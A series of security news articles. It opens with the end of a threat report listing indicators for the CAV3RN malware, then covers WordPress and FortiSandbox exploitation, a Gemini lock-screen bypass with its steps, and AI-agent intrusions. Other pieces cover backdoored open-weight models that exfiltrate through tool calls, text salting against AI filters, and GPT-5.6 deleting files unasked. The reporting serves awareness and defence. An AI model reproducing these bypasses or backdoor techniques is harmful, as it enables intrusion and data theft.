OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

French cloud operator OVH has revealed it used its Sydney, Australia, datacenter as the crash test dummy to test a rapid rollout of a fix for the critical Januscape guest-host escape bug in the Linux kernel-based virtual machine (KVM). Januscape, aka CVE-2026-53359, allowed attackers with root access to a guest VM to execute code as root on the host, crash that machine, or take over all other guest VMs. A widespread guest-host escape exploitation is a nightmare scenario, because many major clouds use KVM to slice their servers into virtual machines and then rent those guests to clients. The prospect of attackers accessing one tenant’s VM and using it to crash other guests or an entire host is therefore a terrifying violation of cloud operators’ promise to run customer workloads in splendid isolation. Fixing it was therefore a priority. On Monday, French cloud OVH’s CISO Julien Levrard revealed how the company handled the emergency patch job on tens of thousands of hosts that run approximately a million virtual machines, in a lengthy post that offers an unusually detailed and candid account of how clouds cope with major security incidents. One way to mitigate the bug was to disable nested virtualization by creating a two-line config file on each host running Linux KVM. That wasn’t an option because OVH has no way to see if its tenants need nested virtualization and relies on it to shift VMs to different physical hosts. Nor was applying a live patch palatable, as it could introduce instability. Live migration to patched hosts was another option, but one OVH rejected as the process is slow and the company felt it might take months to move its entire fleet of tenant VMs to a Januscape-free environment. The company therefore decided to backport a Januscape fix into the Debian distribution it uses in production and reboot all hosts, giving customers advance notice but no choice. That meant customers who rely on a single host would experience some downtime, but OVH’s executive committee signed off on this approach for three reasons: The need to patch before attacks; Treating cases individually would mean the OVH cloud would be vulnerable for longer; A desire to protect the greatest number of customers, and tolerate impact on a minority. OVH also decided to stay quiet about the patching plan. “Communicating in more detail during the execution of the mitigation plan, while the infrastructure remained unpatched, would have significantly increased the risk for our customers, potentially leading some to ‘test’ the publicly available exploit,” Levrard wrote. Danger down under To test its patching prowess approach, OVH decided to first fix its Sydney region – one of the company’s smaller regions and one which, thanks to Australia’s east coast being eight hours ahead of France, teams in Europe do the job during their business hours – but at a slow time in Sydney. The company therefore planned to go down under and learn from the experience before deploying the fix more widely. OVH’s plan called for reboots to occur in waves, with a “shutdown threshold” imposed if 15 hosts failed simultaneously in high-density regions, or five boxes in other regions. But those waves weren’t as simple as just going rack by rack. “The main risk for our clients during such an operation is not the reboot itself, but the simultaneous interruption of multiple instances of the same project, ensuring application resilience capable of handling a provider failure,” OVH’s blog on the project explains. “A client who has distributed their workloads across multiple hosts to ensure high availability should not see all of their instances fail over at the same time. The decision was made to go beyond simply adhering to the anti-affinity rules that may have been defined in client deployments.” “Thus, for each client project with instances distributed across multiple hosts, our orchestrators calculate a co-location graph. At no time are two hosts running instances of the same project rebooted in the same window: mutually exclusive waves are defined, and a host must be back online before the next one is launched in the same anti-affinity class.” The patching effort hit a few snags. Some VMs didn’t restart after hypervisor reboot. Some experienced data corruption during forced shutdowns. OpenStack APIs misbehaved, producing hours of HTTP 503 errors and necessitating postponement of one patching wave. At a Canadian site, “API traffic reached 10 times the usual peak, overwhelming the manager and support teams.” Hardware hiccups Some hardware died during the process. “On the first night, approximately 20 to 30 hosts out of 6,000 did not recover on their own,” Levrard revealed, blaming “faulty memory modules, BIOS configuration issues, inactive network interfaces.” Some machines needed new CMOS batteries. The CISO thinks OVH’s approach was “a remarkable feat” as it produced “a very reasonable number of outages and customer impact relative to the scale of the project.” But he thinks the company will need to improve. “Recognizing that the coming months could see further kernel vulnerability disclosures, it seems clear that this emergency procedure will need to be repeated,” he wrote. “We will need to do better next time, both in managing the raw impact of the restarts and in providing customers with advance notice and support during the operations.” The company is therefore conducting a post-mortem analysis it hopes will improve its processes. ®

If you use WordPress, patch now. Just hours after fixes came out, attackers have begun exploiting two bugs that, when chained together, allow pre-authentication remote code execution (RCE). And security researchers tell us there’s a very good chance the miscreants had an AI assist. “Once the vulnerabilities were publicly disclosed, reproducing them with the help of frontier AI models was only a matter of time and tokens,” Jake Knott, watchTowr principal security researcher, told The Register. “WatchTowr was able to trivially reproduce CVE-2026-63030 within minutes of disclosure, and the second CVE-2026-60137 with some additional effort.” WordPress released patches for both CVEs late Friday, but by Saturday it was game over. “By the early hours of Saturday morning, successful exploitation was already well underway, initially using public exploit code to exfiltrate hashed credentials, with remote code execution following once additional details were made public,” Knott said. “From our vantage point across a global client base, we are seeing widespread impact of this vulnerability across organizations of every size and every vertical.” Here are the details about both security holes, and what went down since WordPress revealed and fixed them on Friday. CVE-2026-60137 is a moderate-severity SQL injection issue, and CVE-2026-63030 is a critical REST API batch-route confusion bug. “A route confusion flaw causes the arrays containing the sub-requests, validation results, and matched handlers to become misaligned,” Hacktron researchers explained. This causes WordPress to become confused about which requests have been properly validated and thus treat all requests as trusted, including those that it should block. Individually, the bugs are difficult to exploit. But when chained together, they can wreak havoc on any organization using a vulnerable WordPress version because they allow unauthenticated RCE. WordPress 6.9 is affected by both vulnerabilities, and version 6.9.5 contains fixes for both, while WordPress 6.8 is only affected by the SQL injection flaw, and version 6.8.6 fixes it. Additionally, WordPress 7.1 Beta 1 is also vulnerable. Version 7.1 Beta 2 fixes both CVEs. Versions of WordPress prior to 6.8 are not affected. John Blackbourn, one of the WordPress core developers, recommended affected users “update your sites immediately.” Because of the flaws’ severity, the WordPress security team “enabled forced updates via the auto-update system for sites running affected versions,” he added. The content management system credited Searchlight Cyber researcher Adam Kues with finding and reporting CVE-2026-63030, and in a subsequent Friday advisory, Kues dubbed the bug wp2shell. “The attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins,” Kues said, adding that his security shop released a free wp2shell checker to determine if your instance is vulnerable. Security firm PatchStack reported exploitation of both CVEs as of Friday night, but didn’t provide details about the attacks. VulnCheck’s research team, which also began researching the patches on Friday, verified more than two dozen unique proof-of-concept exploits targeting WP2Shell as of Sunday. “After public exploit code was released, attackers began spraying the internet indiscriminately, hitting anything reachable and trying to get lucky,” Knott told us. “Our honeypots recorded tens of thousands of exploitation attempts, and more than 100 backdoor accounts created by different threat actors using variations of public tooling.” After creating these backdoor admin accounts, watchTowr observed attackers deploying fake WordPress plugins to achieve RCE, exfiltrate credentials or secrets, or download additional tooling to further compromise the system, he added. “In one case, we watched a threat actor repeatedly attempt to pull down Overlord RAT, a Golang-based remote access trojan.” Any orgs that waited until Monday to patch are likely already compromised, Knott warned. “Defenders need to inspect their WordPress instances for new administrator accounts, malicious plugins, or other suspicious files, regardless of whether they’ve patched,” he said.®

Real FBI agents won't slide into your DMs and offer to help you recover stolen funds. The bureau's Internet Crime Complaint Center (IC3) updated an earlier warning on Monday about scammers impersonating the agency online, saying fraudsters continue to use the scheme "to deceive and revictimize individuals." According to IC3, there are two different schemes being used to target cybercrime victims, both directly and by soliciting them to report incidents. In the first scheme, IC3 said scammers create fraudulent social media profiles and pages impersonating FBI personnel or IC3. They may also infiltrate online groups for fraud victims or contact victims directly while claiming to represent the FBI or the complaint center. In other cases, victims are being contacted by someone claiming to be an FBI agent after realizing they were approached by someone trying to scam them and saying they intended to report the incident to the FBI or file an IC3 complaint. The FBI said the impersonator then directs victims to a fake IC3 update page or continues communicating through messaging apps. In the other instance, scammers are creating AI-generated videos on social media depicting senior FBI officials and directing users to a spoofed IC3 website to report cybercrimes they may have fallen victim to, with the scammers then collecting the information and using it to contact victims for further fraud. AI-generated depictions of public figures are similarly being used to make such scams appear legitimate. “Some individuals received an email or a phone call, while others were approached, or observed an advertisement via social media or forums,” the IC3 said. “Almost all complainants indicated the scammers claimed to have recovered the victim's lost funds or offered to assist in recovering funds.” Regardless of how legitimate social media profiles look, or how realistic those AI-generated videos may be, the IC3 is warning that none of them should be believed for a simple reason: The IC3 doesn’t have a social media presence of any kind, and it doesn’t investigate crimes or offer to recover lost funds through social media. “Any social media profiles or pages claiming to represent IC3 or offering to recover lost money are fraudulent and are actively attempting to steal your personal or financial information,” the IC3 warned. “IC3 will never directly communicate with individuals via phone, email, social media, phone apps, online chat, or public forums.” The IC3 said that any contact made with a cybercrime victim who reports an incident via its actual website will be made by an FBI employee from a local field office or other law enforcement official. Here’s another hot tip: If you fall victim to a cybercrime or online scam, don’t post about it on social media - that’s only going to invite someone with bad intentions to seek you out. ®

AI datacenters wreak havoc on the power grid under normal circumstances, so what happens if a bad actor controls all the GPUs and wants to cause harm? Cybersecurity researchers in China have devised a way for malicious tenants to attack their infrastructure provider, potentially causing blackouts or damaging equipment. The attack, dubbed Bit2Watt, imagines an adversary masquerading as a legitimate cloud tenant to launch GPU workloads that have the potential to damage datacenters and supporting electrical systems. It's intended to demonstrate the need to extend cybersecurity defenses to datacenter workload scheduling. The researchers, Zhouhao Ji, Kaikai Pan, and Wenyuan Xu, from Zhejiang University in Hangzhou, China, describe their technique in a preprint paper titled "Bit2Watt: A Cyber-Physical Vulnerability Exploiting GPU Workloads Across Power and Computing Infrastructures." AI training workloads represent a known challenge for datacenter operators. As Microsoft, Nvidia, and OpenAI noted in a 2025 research paper arguing the need for power stabilization during AI training, the transition from GPU computation to GPU data synchronization causes large power swings to occur. And if the frequency spectrum of these power swings is "harmonized with critical frequencies of utilities, [that] can cause physical damage to the power grid infrastructure." Meta's paper on the training of Llama 3 also cites the risk AI training poses to the power grid. It says, "During training, tens of thousands of GPUs may increase or decrease power consumption at the same time, for example, due to all GPUs waiting for checkpointing or collective communications to finish, or the startup or shutdown of the entire training job. When this happens, it can result in instant fluctuations of power consumption across the datacenter on the order of tens of megawatts, stretching the limits of the power grid." Bit2Watt weaponizes this scenario by proposing that an adversary could use malicious GPU workloads to destabilize the datacenters and electrical infrastructure. "Our results indicate that GPU loads can reach modulation frequencies exceeding 6,000 Hz, compared with only a few hertz observed in conventional household loads such as air conditioners," the Zhejiang University authors state in their paper. "Such high-frequency modulations can substantially induce voltage excursions, harmonic distortion, and damping degradation." The authors claim an attack on a 1-MW local power grid consisting mainly of distributed energy resources like photovoltaics could use 1,000 GPUs to create a total harmonic distortion of 46.8 percent, which would squander nearly half the electrical current on non-productive work and would throw off about 20 percent more heat than normal. "This not only threatens the availability of the computing equipment but also produces a negative damping ratio of -0.27, introducing an unstable mode into the system," the authors contend. "Once the protections are triggered and computing loads are shed, it can trigger cascading failures, potentially leading to blackouts exceeding 80 percent in large-scale power systems." The attack is relatively covert, the authors argue, because it can be launched within authorized workload execution paths and would likely be missed by cloud-provider monitoring frameworks. Thus, they propose that infrastructure providers coordinate defenses across the cyber and physical layers to look for malicious computation patterns. They also emphasize the need for local energy buffering systems to handle power demand spikes. Bit2Watt also potentially opens the door for a side-channel attack called Watt2Bit. The researchers note that the electrical and thermal stress on hardware from a malicious workload creates denial of service events and enables the covert exfiltration of data via power modulation. As a proof of concept, they showed they could recover a 50-bit test sequence using frequency-shift keying (FSK) encoding. "These findings underscore a fundamental shift: as power and computing infrastructures converge, security must be addressed across domains, requiring coordinated defenses that consider workload behavior, power electronics, and grid dynamics," the authors conclude. ®

Apparently, being a leading destination for AI development doesn't mean AI will bail you out. AI agents broke into Hugging Face's production infrastructure, but commercial LLM guardrails blocked the forensic investigation, forcing it to turn to a Chinese open-weight model instead. The intrusion, “driven, end to end, by an autonomous AI agent system,” compromised a “limited set” of Hugging Face’s internal datasets and “several” credentials used by its services, according to a Thursday security incident disclosure. While the ML platform says that it’s still investigating whether any partner or customer data was exposed in the breach, there’s “no evidence of tampering with public, user-facing models, datasets, or Spaces, and our software supply chain (container images and published packages) was verified clean.” It also doesn't know which model the attackers used to power a swarm of AI agents, which, we're told, executed many thousands of individual actions across short-lived sandboxes, using self-migrating command-and-control staged on public services. “This matches the ‘agentic attacker’ scenario the industry has been forecasting,” according to the Hugging Face blog. Additionally, after unsuccessfully using unnamed frontier models to start the forensic analysis, the Hugging Face security team ultimately ran the log analysis on GLM 5.2, an open-weight model developed by Chinese AI firm Z.ai, on the platform’s own infrastructure. The advanced commercial models didn’t work because their analysis required submitting real attack commands, exploit payloads, and command-and-control artifacts - all of the things that the LLMs’ guardrails have been trained to block so that the AI systems can’t be used in real-life attacks. “The attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried,” the security team wrote, noting that it’s not arguing against safety measures on hosted models and has shared this information with the LLM providers. Using GLM 5.2 had another benefit, Hugging Face noted: “No attacker data, and none of the credentials it referenced, left our environment.” This also serves as an important reminder to defenders, according to the AI platform. “Have a capable model you can run on your own infrastructure vetted and ready before an incident, both to avoid guardrail lockout and to keep attacker data and credentials from leaving your environment.” The Hugging Face intrusion is yet another indication that attacks carried out by autonomous AI agents are no longer a future threat, but rather the current state of AI-based intrusions. Last week, The Register spoke with TrendAI VP of AI and security threat research Tom Kellermann about another recent attack, during which a jailbroken Google Gemini did 90 percent of the work - including spinning up a new C2 server in just six minutes. The human did just 10 percent. Additionally, earlier in July, Sysdig threat hunters documented what they say is the first-ever documented agentic ransomware infection with an LLM - not a human - driving the entire extortion operation, from gaining initial access to compromising a production database server and destroying data. “Think of a burglar that never gets tired, never needs sleep, and instead of jiggling one door handle at a time, is trying a thousand of them simultaneously,” Zero Networks field CTO Chris Boehm said in an email to The Register about the Hugging Face intrusion. “That's basically what happened here. Not one guy typing commands into a terminal, a swarm of little automated processes hammering away nonstop, hopping between hiding spots to make it harder to trace,” Boehm said. He added, the “part that actually unsettles” him most is that the platform’s security team couldn’t get commercial AI tools to help analyze the attack, “because those tools were built to refuse anything that looked like a real attack command. It didn't matter that it was the good guys asking.” Boehm said the takeaway for security teams is twofold: “These agents can now move faster and more relentlessly than any human ever could, and the safety tools we're building aren't always ready to help us respond at that speed.”®

Microsoft 365 calendars have become the latest hiding place for espionage malware, with attackers stashing commands and stolen files inside appointments dated 24 years into the future. Researchers at Group-IB say they've uncovered a malware component they call HOLLOWGRAPH that swaps the usual command-and-control server for something rather less conspicuous – a compromised Microsoft 365 calendar. Instead of reaching out to attacker-controlled infrastructure for instructions, the implant rummages through calendar events, picks up encrypted tasking, and drops stolen files into new appointments for its operators to collect later. Every event created by HOLLOWGRAPH is dated May 13, 2050, an otherwise empty corner of the diary where encrypted attachments are less likely to attract attention. HOLLOWGRAPH isn't exploiting Microsoft Graph so much as blending into it, wrapping its command-and-control traffic inside legitimate Graph API requests that look just like any other Microsoft 365 application talking to the cloud. The malware itself is relatively lean. Group-IB says it does little more than fetch instructions from one calendar event, stash stolen files in another, and periodically retrieve fresh Entra ID credentials over a DNS tunneling channel so the Graph-based communications keep working. The security firm linked the malware to the Cavern framework with high confidence after finding matching command formats and other implementation details. It also spotted similarities with the Iranian-linked espionage group Lyceum, although it stopped well short of pinning the operation on that crew, saying the connection was supported with only low confidence. "HOLLOWGRAPH represents an advanced and highly targeted espionage threat," Group-IB wrote. "By abusing trusted Microsoft 365 calendars through the Microsoft Graph API and refreshing its cloud authentication credentials through DNS tunneling, the malware conceals its command-and-control within legitimate Microsoft 365 and network traffic, evading conventional perimeter defenses." The campaign itself appears to be narrowly targeted. Group-IB identified 12 infected systems, only three of which communicated with the compromised mailbox during the period it observed. The compromised mailbox used for command-and-control belonged to an Israeli organization, malware samples were uploaded from Israel, and the researchers said the evidence points to a focused espionage operation rather than a broad smash-and-grab. HOLLOWGRAPH doesn't exploit a flaw in Microsoft 365 or Microsoft Graph. Instead, it takes advantage of services that are already trusted inside most organizations, making the activity far less conspicuous than malware calling home to attacker-controlled infrastructure. ®

Avoiding the "lethal trifecta" – access to private data, exposure to untrusted content, and an external communication path – is difficult enough when working with AI agents. But the use of connectors – integrations with third-party services like Gmail or Slack – expands the scope of concern in a way that makes it exceedingly difficult to reason about defensive due diligence. PromptArmor, an AI security biz, recently looked at how OpenAI's ChatGPT and Anthropic's Claude work with connectors. The results are not reassuring. Shankar Krishnan, co-founder of PromptArmor, told The Register in an email that enterprise adoption of connectors and the rate of change among connectors helped focus concern on the connector ecosystem. Connectors share some of the risks of MCP servers, upon which connectors are based. "For connectors, the risks are mostly about the type of tools, what they can do, where the data is going, and what is being done with the data," said Krishnan. Introduced about a year ago, connectors (for Claude or ChatGPT) have been going through a lot of changes recently. According to PromptArmor, 931 of 2,517 connectors (37 percent) changed over the six-week period from mid-May to the end of June. So any security assumptions based on declared capabilities may no longer be valid. PromptArmor found that 1,686 new tools were added to connectors that were already live, creating new ways for AI models to operate on user data and interact with third-party services. It also found that 1,127 tool descriptions were rewritten, potentially changing how and when an AI model decides to invoke a tool. And there are a variety of other changes, all of which potentially could raise data security concerns or invalidate governance assumptions. PromptArmor cited the Dropbox connector as an example, noting that at the start of the study it exposed eight tools and by the end of the study that number had risen to 24. It went from having three write-capable tools to 10, and from zero potentially destructive tools to four. Permission scopes changed and injected instructions for the model were added. If that weren't enough to worry about, connectors can behave like intrusive websites that run dozens of tracking scripts: connectors commonly send data to additional AI services. PromptArmor evaluated all 7,517 tools used by 487 Claude connectors and found that 189 of the connectors, or about 2 in 5, are likely to call additional AI services. "As an example, if your Claude agent activates Zoom's connector tool to search meetings with natural language, and passes in a query containing sensitive data, Zoom AI may send that data to any of its ten AI subprocessors in order to generate a response from one of eight different model families it uses," the security company said. "The issue is that most teams approving connectors are evaluating and considering the connector – unaware that the vendor is calling more AI services, adding new subprocessors and terms," explained Krishnan. "So someone concerned about AI risks who has evaluated Claude may not be aware of AI services that the connector is calling externally." Anthropic's connector documentation acknowledges that its security controls don't necessarily cover third-party data processing. "Connected services process data on their own infrastructure, under their own terms, which may be located outside the United States," the AI biz explains. "Settings that control where Claude's inference runs, like the US-only inference setting on Enterprise plans, don't change where third-party services operate." Krishnan said that connectors vastly expand the risk surface for attacks. "Bringing agents new sensitive data, new untrusted data, and new sensitive actions to take, the blast radius of an attack explodes," he said. "We recently highlighted a risk in Codex where even with one connector – email – the combination of sensitive and untrusted data enables exfiltration of legal and financial communications." ®

Notice more spam getting through that corporate email filter lately? Attackers are using a technique known as "text salting," which hides benign-looking words intended to confuse some AI-powered email filters, says cybersecurity firm Barracuda. The email security outfit said on Thursday that it had detected more than one million retail-themed phishing attacks using text salting since April. It’s not a new technique by any stretch and has been used to fool traditional secure email gateways for years, but Barracuda says it can also confuse machine-learning and LLM-based security tools. Text salting involves peppering (sorry) a malicious email with random, harmless-seeming words in order to fool an email scanning system into thinking there’s nothing off about the flavor of a message (sorry again), tricking the system into passing it to its recipient for consumption (I’ll stop with the food jokes here). Pour a pile of salty text on top of an email and a human reader would probably get suspicious, however, so attackers typically use one or more of three flavor variations (okay, I'm done – promise) to hide the additives from human readers, but not automated scanners, per Barracuda. Typical techniques include CSS cropping, which sets the visible window small enough that a human won't see the hidden filler text; text manipulation to move the salty copy outside the visible screen; and zero font techniques which insert misleading words between suspicious phishing copy that’s visible to a machine but not a human. The end result of each of those techniques is a message that reads less malicious, more gibberish to a machine, leading it to assume the email is fine, and which looks exactly as the attacker intended when viewed by a human. Modern email security systems have largely adapted to these techniques, with newer tools able to remove hidden text to see what a reader is supposed to see, sounding alarms when a lot of hidden stuff is inserted in an email, and the like. AI, however, hasn’t managed to follow suit, says Barracuda. “Text salting and related techniques can be used to confuse AI-driven content analysis engines by flooding the email with random terms that encourage the AI system into making an incorrect classification decision,” the company wrote in its report - just like those early 2000s SEGs. What a technological leap we’ve made! LLMs, Barracuda explained, are typically designed to process email text and source code plainly, with no understanding of whether text is visible or hidden from a user. They can be trained to do so, but that just means most tools probably aren’t doing that by default. So, what can enterprises do to stop the flow of salty spam to their employees? Barracuda recommends a layered approach to email security rather than relying solely on keyword detection, including checking sender reputation, authentication results, embedded URLs, HTML-rendering techniques, and differences between user-visible and hidden content. Ditching that AI spam filter might not be a bad idea, either. ®

Fortinet admins have two more reasons to clear their calendars after CISA confirmed a pair of critical FortiSandbox bugs are being actively exploited. The two bugs, tracked as CVE-2026-39808 and CVE-2026-25089, both carry CVSS scores of 9.1 and affect FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS. According to Fortinet, they are OS command injection flaws that allow unauthenticated attackers to execute arbitrary commands via specially crafted HTTP requests, requiring neither valid credentials nor user interaction. Fortinet released fixes for CVE-2026-39808 in April and CVE-2026-25089 in June, warning in advisories published at the time that successful exploitation could lead to remote code execution via low-complexity attacks. Fortinet has not publicly confirmed that either flaw is being exploited in the wild, but CISA has now added both bugs to its Known Exploited Vulnerabilities (KEV) catalog. Inclusion in the catalog means CISA has evidence that the vulnerabilities are being actively exploited, although the agency rarely attributes attacks or discloses how widespread they are. For federal civilian agencies, bugs landing in KEV come with homework. Binding Operational Directive 26-04 requires them to patch within CISA's deadlines or pull the plug on vulnerable products if they can't be adequately secured. Fortinet has not updated its advisories to mark either flaw as exploited and did not respond to The Register's questions. CISA isn't the only one reporting attackers poking at these vulnerabilities. Security firm Defused said it had observed exploitation attempts against both flaws this week alongside another FortiSandbox vulnerability, CVE-2026-39813. Not every exploit appears to be doing its job, though, as Defused described the one targeting CVE-2026-25089 as "vibecoded" and likely broken, adding that it has yet to see a working public exploit. CISA also used Thursday's KEV update to flag another fresh concern: Microsoft's newly patched SharePoint Server bug, CVE-2026-58644. The critical deserialization vulnerability, rated 9.8, allows authenticated attackers with Site Owner privileges to execute arbitrary code remotely against vulnerable SharePoint servers. Microsoft warned that the bug can be exploited remotely over the internet with relatively little effort, making it one to patch sooner rather than later. ®

Picture this. Someone gets hold of your Android phone and, despite not knowing your PIN, they can use Gemini from the lock screen to send SMS or WhatsApp messages as you. This is a real bug and Google says a fix is coming as soon as this week. Since May, The Register has received multiple reports of users bypassing device authentication on Android 16 devices that enable Gemini access from the lock screen. These are distinct from the similar Gemini-based Android lock screen bypass bugs that have made the rounds since September 2025. One of the bugs reported to us allowed unauthenticated users with physical access to an Android device to enable functionality such as phone, texts, and WhatsApp via Gemini on the lock screen using a specific multi-touch gesture. When device owners revoke Gemini’s access to certain apps, like Messages, and someone later tries to send an SMS via Gemini on the lock screen, the chatbot will prompt the user to open the relevant app. Selecting "Continue" prompts the user to enter the correct PIN to access messages. However, when “Continue” is pressed simultaneously with Gemini’s “Add attachment” button, the device will then allow unauthenticated users to send that SMS via Gemini, without needing to enter a PIN. From there, users can enable Gemini’s access to other apps, which were previously disconnected from Gemini in the user’s Settings, by invoking the relevant prompt. For example, to allow Gemini access to WhatsApp, users can enter “@WhatsApp” in the Gemini text window. No PIN needed. You can then check this has worked by going back into user Settings, after entering a correct PIN, and it will show that WhatsApp is connected to Gemini without completing the expected authentication step. Exploiting the flaw requires physical access to a device. In most circumstances, we steer clear of giving this type of vulnerability too much airtime since it is often difficult to pull off in real-world scenarios. If Windows, for example, had a make-me-admin bug that required the attacker, for whatever reason, to have physical access to the keyboard connected to the Windows machine, then the owner of said machine has bigger problems than the vulnerability itself. However, given the state of phone theft crime, especially in the UK, and the potential to send convincing SMS messages as part of fake kidnapping scams, to name one possibility, we think this one deserves some attention. A Google spokesperson told us this is a known bug and it has already implemented a fix that was scheduled for a full deployment this week. They also said the bug is not Pixel-specific, after some claimed that they could not reproduce it on Samsung devices, but fell short of specifying which manufacturers, models, or versions are vulnerable. ®

South Korea is developing its own security-focused AI model and hopes to bring it online by the end of the year, to ensure the nation has sovereign bug-finding capabilities. Deputy Prime Minister and Minister of Science and ICT Bae Kyung-hoon revealed the effort to create the model yesterday, and said it’s needed so South Korea possesses a bug-finding model to rival Anthropic’s Mythos. The US government has twice blocked access to Mythos, once by requiring Anthropic to offer it only to American citizens – a demand the AI company could not meet and therefore blocked all access – and a second time by ordering the company to take down its services so Washington could investigate allegations of possible dangerous performance problems. Those incidents led many other nations conclude that the US could in future deny access to powerful models – meaning US-based organizations and national security agencies would have an edge. Washington has since allowed limited access to Mythos to some of its allies. Interest in developing sovereign AI capacity has nonetheless soared, and Bae said South Korea now aspires to develop its own Mythos-class model. The Register is aware of another effort to create Mythos-like tools, involving private firms and infrastructure operators across several countries. In South Korea, the government’s approach is to add security-related information to the corpus it is using to train a locally developed frontier model. The minister said he expects that security-capable model will debut by the end of 2026. South Korea has also sought bids to create a chatbot that will be made freely available to all residents, plus an agentic application that will help locals interact with government services. Minister Bae made his remarks at a policy briefing session conducted by President Lee Jae Myung, during which discussions about AI also touched on using the technology to detect fake news in real time, and put it to work handling complaints about government services more quickly than is currently possible. ®

OpenAI has confirmed reports that GPT-5.6 has deleted users' files without authorization but insists these rare erasures represent an "honest mistake." Following the release of OpenAI's GPT‑5.6 family of models on July 9, 2026, tech investor Matt Shumer reported, "GPT-5.6-Sol just accidentally deleted almost ALL of my Mac's files." A few days later, software engineer Bruno Lemos said, "GPT-5.6 Sol just deleted my whole production database. That's it. Not a joke. This had never happened to me before, with any other model, ever. It's not safe." Ironically, Lemos had just posted a message to a Slack channel in his workplace that blamed Shumer for operating the model with the "Full-Access" permission rather than a more cautious setting that might have denied deletion rights. As he wrote, "The irony: Someone posted the original incident on Slack, and I was defending the model, just for it to happen to me hours later." The GPT-5.6 model card notes that undesirable behavior of this sort surfaces a bit more often in misalignment simulations than it did for GPT-5.5. "Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions," the model card says. Severity level 3 is defined as "misaligned behavior that a reasonable user would likely not anticipate and strongly object to," which includes "deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services." While the commentariat was quick to blame Lemos for storing credentials for a production database in a local .env file, OpenAI acknowledges that the incident should not have happened. According to Thibault Sottiaux, OpenAI engineering lead for Codex, an internal inquiry into file deletion claims found that when GPT-5.6 unexpectedly deleted files, the model is usually configured in Full-Access mode and users run the Codex coding agent without sandboxing protections like Auto-review. "The model attempts to override the $HOME env var to define a temporary directory," said Sottiaux. "The model makes an honest mistake and mistakenly deletes $HOME instead." We're not entirely sure how a model error can be characterized as "honest," a term often applied to human wrongdoing to mitigate any punitive response. Doing so suggests OpenAI assumes its model is capable of forming intent and possesses an internal sense of truth – which would not be surprising in light of CEO Sam Altman's musings about superintelligence. Nonetheless, Sottiaux admitted even rare non-consensual file purges are not ideal. "This is of course not how we want the system to behave, even when a user operates the model in Full-Access mode without the safeguards of our sandbox or without using Auto-review which checks for these kinds of high risk actions and rejects them," he wrote. "We are taking steps to mitigate this risk including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards." ®

The AI supply chain is, in some ways, even more vulnerable to poisoning than that of traditional software. Katie Paxton-Fear, a lecturer in cybersecurity at Manchester Metropolitan University and staff security advocate at Semgrep, managed to install a backdoor in an open-weight AI model in about an hour for less than $100. "I started out by trying to figure out if I could use fine tuning to get a model to swap from camelCase for JavaScript to snake_case, and it was actually really easy, even if we then gave the AI specific instructions to use camelCase," Paxton-Fear wrote in a recent social media post. "After that worked, I did a proper backdoor." It only took ten training examples for the code output by the model to become reliably vulnerable to remote code execution, even for novel prompts and domains, she claims. And the larger the model, the easier it was to poison. Paxton-Fear and Semgrep colleagues Isaac Evans and Cris Thomas penned a post about this issue last week, highlighting the problem with open weight models. "Even when model weights are public ('open weight'), we have almost no ability to predict its behavior," they wrote. "This is a major change: a typical computer program, in binary form, can still be analyzed with reverse engineering tools to arrive at a total description of its behavior. With models, we have nowhere close to this capability." Academic researchers have warned about model subversion for the past few years, but only recently, as AI supply chain attacks have started to appear, has the security community turned its focus toward the issue. It's particularly pressing now that running open weight models on local hardware has moved beyond experimentation. Last month, David Kaplan, AI security research lead at Origin, undertook a similar experiment – he created a compromised model designed to steal data. When used in the context of drug discovery, as might occur in a pharmaceutical company, it's designed to exfiltrate data through a send_email tool call without any indication to the user. "The fashionable framing for agent risk is the 'lethal trifecta': you need private data, untrusted input, and a way out, all at once," Kaplan wrote, in reference to developer Simon Willison's widely cited AI threat model. "But it undersells this case. You don't need three legs here. You need one outbound tool and a set of weights that have quietly decided to use it against you. The 'untrusted input' didn't arrive in a web page. It was sitting in the weights the whole time." Paxton-Fear and her colleagues argue that while there may not be good examples of widely used, open weight models that have been poisoned, the issue really is that the observability of AI systems lags behind the observability of traditional software. "If a software dependency contains malicious code, we have mature practices for discovering it, tracking its provenance, and reducing its impact," they argue. "AI models are different. A compromised or subtly manipulated model doesn't need to 'break' to create business risk, it only needs to influence decisions in ways that are difficult to detect." While open weight models may present a particular challenge because of their vulnerability to tampering, commercial frontier model providers also defy scrutiny. The AI industry asks for extraordinary levels of trust – access to sensitive data – but offers few glimpses into black box operations. ®